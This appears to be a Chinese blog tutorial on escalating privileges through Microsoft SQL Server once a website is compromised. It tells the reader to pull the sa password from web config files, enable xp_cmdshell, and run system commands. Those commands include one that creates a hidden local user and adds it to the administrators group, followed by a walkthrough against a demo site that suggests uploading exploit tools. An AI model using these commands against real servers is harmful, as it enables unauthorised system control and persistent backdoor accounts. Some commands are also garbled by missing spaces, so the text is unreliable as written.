Sqlserver提权 Sqlserver提权

Sqlserver提权

1、简介


如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定的系统权限,还要看管理员开始安装sqlserver的权限设置。

 

2、查找帐号和密码


web.config
config.asp
conn.aspx
database.aspx

 

3、开启xp_cmdshell

Exec master.dbo.xp_cmdshell 'net user'

Exec sp_configure'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc DistributedQueries',1;RECONFIGURE;

Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroupadministrators lx /add'

Exec master.dbo.xp_cmdshell 'systeminfo'

 

4、实战

 


http://www.demo1.com/asp.aspx

 

1.png

密码 123456
链接mssql

 

2.png

在sql2005以后

 

查看当前权限查看当前权限1559911389138157.png

查看当前权限

 

 

1559911436109748.png

 

查看当前权限也是一个普通用户。可以执行一些基础的命令,可以上传溢出提权工具 再来提高当前用户的权限。

有些时候  是一个系统权限  主要还是要看目标管理员在开始安装sqlserver的时候给的是什么样的权限。

评论 0

挤眼 亲亲 咆哮 开心 想想 可怜 糗大了 委屈 哈哈 小声点 右哼哼 左哼哼 疑问 坏笑 赚钱啦 悲伤 耍酷 勾引 厉害 握手 耶 嘻嘻 害羞 鼓掌 馋嘴 抓狂 抱抱 围观 威武 给力
提交评论

清空信息
关闭评论
sitemap